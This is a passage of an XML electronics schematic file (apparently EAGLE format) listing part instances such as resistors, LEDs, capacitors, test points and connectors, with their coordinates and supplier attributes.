display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"139.7\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"C18\" gate=\"G$1\" x=\"106.68\" y=\"218.44\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"105.156\" y=\"221.361\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"105.156\" y=\"216.281\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"106.68\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"106.68\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"106.68\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"106.68\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"106.68\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"U$12\" gate=\"G$1\" x=\"139.7\" y=\"238.76\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"148.336\" y=\"242.316\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"SUPPLY4\" gate=\"1\" x=\"33.02\" y=\"210.82\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"31.115\" y=\"207.645\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"R22\" gate=\"G$1\" x=\"-157.48\" y=\"48.26\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"49.7586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"44.958\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED4\" gate=\"G$1\" x=\"-142.24\" y=\"48.26\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"44.704\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-132.588\" y=\"42.545\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"JP16\" gate=\"G$1\" x=\"274.32\" y=\"149.86\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"FARNELL\" x=\"274.32\" y=\"149.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"274.32\" y=\"149.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"274.32\" y=\"149.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"274.32\" y=\"149.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"274.32\" y=\"149.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"279.4\" y=\"137.16\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"279.4\" y=\"163.322\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n</instance>\n<instance part=\"LED5\" gate=\"G$1\" x=\"-142.24\" y=\"60.96\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"57.404\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-122.428\" y=\"55.245\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R24\" gate=\"G$1\" x=\"-157.48\" y=\"60.96\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"62.4586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"57.658\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"U8\" gate=\"G$1\" x=\"121.92\" y=\"228.6\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"FARNELL\" x=\"121.92\" y=\"228.6\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"121.92\" y=\"228.6\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"121.92\" y=\"228.6\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"119.38\" y=\"242.316\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"127\" y=\"240.03\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"GND7\" gate=\"1\" x=\"243.84\" y=\"195.58\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"241.3\" y=\"193.04\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"JP18\" gate=\"G$1\" x=\"147.32\" y=\"233.68\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"PARTNO\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"144.78\" y=\"238.76\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"NAME\" x=\"144.78\" y=\"227.838\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"147.32\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"U5\" gate=\"A\" x=\"-66.04\" y=\"-71.12\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"FARNELL\" x=\"-66.04\" y=\"-71.12\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-66.04\" y=\"-71.12\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-66.04\" y=\"-71.12\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-64.7446\" y=\"-75.7174\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SMR0\"/>\n<attribute name=\"VALUE\" x=\"-54.737\" y=\"-98.5774\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SMR0\"/>\n</instance>\n<instance part=\"SUPPLY1\" gate=\"1\" x=\"-43.18\" y=\"-91.44\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-45.085\" y=\"-94.615\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"5V1\" gate=\"1\" x=\"-40.64\" y=\"-55.88\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"-37.846\" y=\"-52.578\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n</instance>\n<instance part=\"LED3\" gate=\"G$1\" x=\"-142.24\" y=\"35.56\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"32.004\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-127.508\" y=\"29.845\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R21\" gate=\"G$1\" x=\"-157.48\" y=\"35.56\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"37.0586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"32.258\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"35.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"C12\" gate=\"G$1\" x=\"35.56\" y=\"-45.72\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"38.735\" y=\"-40.64\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"33.401\" y=\"-40.386\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"35.56\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY2\" gate=\"1\" x=\"71.12\" y=\"-60.96\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"73.025\" y=\"-64.135\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"U7\" gate=\"G$1\" x=\"457.2\" y=\"106.68\" smashed=\"yes\">\n<attribute name=\"FARNELL\" x=\"457.2\" y=\"106.68\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"457.2\" y=\"106.68\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"457.2\" y=\"106.68\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"441.96\" y=\"116.84\" size=\"1.27\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"441.96\" y=\"86.36\" size=\"1.27\" layer=\"96\"/>\n</instance>\n<instance part=\"R26\" gate=\"G$1\" x=\"449.58\" y=\"78.74\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"442.214\" y=\"79.7306\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"452.12\" y=\"78.994\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"449.58\" y=\"78.74\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"SIMVPP\" gate=\"G$1\" x=\"505.46\" y=\"104.14\" smashed=\"yes\">\n<attribute name=\"FARNELL\" x=\"505.46\" y=\"104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"505.46\" y=\"104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"505.46\" y=\"104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"499.11\" y=\"107.315\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"499.11\" y=\"99.06\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"C26\" gate=\"G$1\" x=\"22.86\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"24.13\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"23.622\" y=\"219.329\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"22.86\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"F1\" gate=\"G$1\" x=\"198.12\" y=\"231.14\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"195.58\" y=\"234.188\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"194.818\" y=\"226.06\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"198.12\" y=\"231.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"+3V2\" gate=\"G$1\" x=\"-63.5\" y=\"134.62\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"-64.262\" y=\"135.128\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"JP14\" gate=\"-1\" x=\"276.86\" y=\"76.2\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"270.51\" y=\"127.635\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"270.51\" y=\"20.32\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"276.86\" y=\"76.2\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP15\" gate=\"-1\" x=\"332.232\" y=\"76.454\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"325.882\" y=\"127.889\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"325.882\" y=\"20.574\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"332.232\" y=\"76.454\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"Q1\" gate=\"G$1\" x=\"-50.8\" y=\"-132.08\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"PARTNO\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-51.816\" y=\"-132.588\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-49.784\" y=\"-139.7\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-50.8\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R2\" gate=\"G$1\" x=\"-43.18\" y=\"-132.08\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-45.974\" y=\"-136.1694\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-43.942\" y=\"-130.048\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-43.18\" y=\"-132.08\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n</instance>\n<instance part=\"TP10\" gate=\"G$1\" x=\"109.22\" y=\"-53.34\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"107.95\" y=\"-52.07\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"110.49\" y=\"-54.61\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP2\" gate=\"G$1\" x=\"114.3\" y=\"-129.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"113.03\" y=\"-128.27\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"115.57\" y=\"-130.81\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP3\" gate=\"G$1\" x=\"243.84\" y=\"-129.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"242.57\" y=\"-128.27\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"245.11\" y=\"-130.81\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP6\" gate=\"G$1\" x=\"281.94\" y=\"-101.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"280.67\" y=\"-102.87\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"283.21\" y=\"-100.33\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"TP4\" gate=\"G$1\" x=\"281.94\" y=\"-121.92\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"280.67\" y=\"-123.19\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"283.21\" y=\"-120.65\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"TP8\" gate=\"G$1\" x=\"322.58\" y=\"-93.98\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"321.31\" y=\"-95.25\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"323.85\" y=\"-92.71\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"TP9\" gate=\"G$1\" x=\"337.82\" y=\"-93.98\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"NAME\" x=\"339.09\" y=\"-95.25\" size=\"1.778\" layer=\"95\" rot=\"MR90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"336.55\" y=\"-92.71\" size=\"1.778\" layer=\"97\" rot=\"MR90\"/>\n</instance>\n<instance part=\"TP7\" gate=\"G$1\" x=\"370.84\" y=\"-101.6\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"NAME\" x=\"372.11\" y=\"-102.87\" size=\"1.778\" layer=\"95\" rot=\"MR90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"369.57\" y=\"-100.33\" size=\"1.778\" layer=\"97\" rot=\"MR90\"/>\n</instance>\n<instance part=\"TP19\" gate=\"G$1\" x=\"154.94\" y=\"236.22\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"154.94\" y=\"236.22\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"156.21\" y=\"237.49\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"153.67\" y=\"234.95\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"TP17\" gate=\"G$1\" x=\"292.1\" y=\"152.4\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"293.37\" y=\"153.67\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"290.83\" y=\"151.13\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n</instance>\n<instance part=\"TP16\" gate=\"G$1\" x=\"292.1\" y=\"149.86\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"293.37\" y=\"151.13\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"290.83\" y=\"148.59\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n</instance>\n<instance part=\"TP13\" gate=\"G$1\" x=\"292.1\" y=\"142.24\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"293.37\" y=\"143.51\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"290.83\" y=\"140.97\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n</instance>\n<instance part=\"TP15\" gate=\"G$1\" x=\"292.1\" y=\"147.32\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"293.37\" y=\"148.59\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"290.83\" y=\"146.05\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n</instance>\n<instance part=\"TP14\" gate=\"G$1\" x=\"292.1\" y=\"144.78\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"293.37\" y=\"146.05\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"290.83\" y=\"143.51\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n</instance>\n<instance part=\"R6\" gate=\"G$1\" x=\"-33.02\" y=\"-111.76\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"-29.21\" y=\"-113.2586\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"-29.21\" y=\"-108.458\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"-33.02\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-33.02\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-33.02\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-33.02\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" 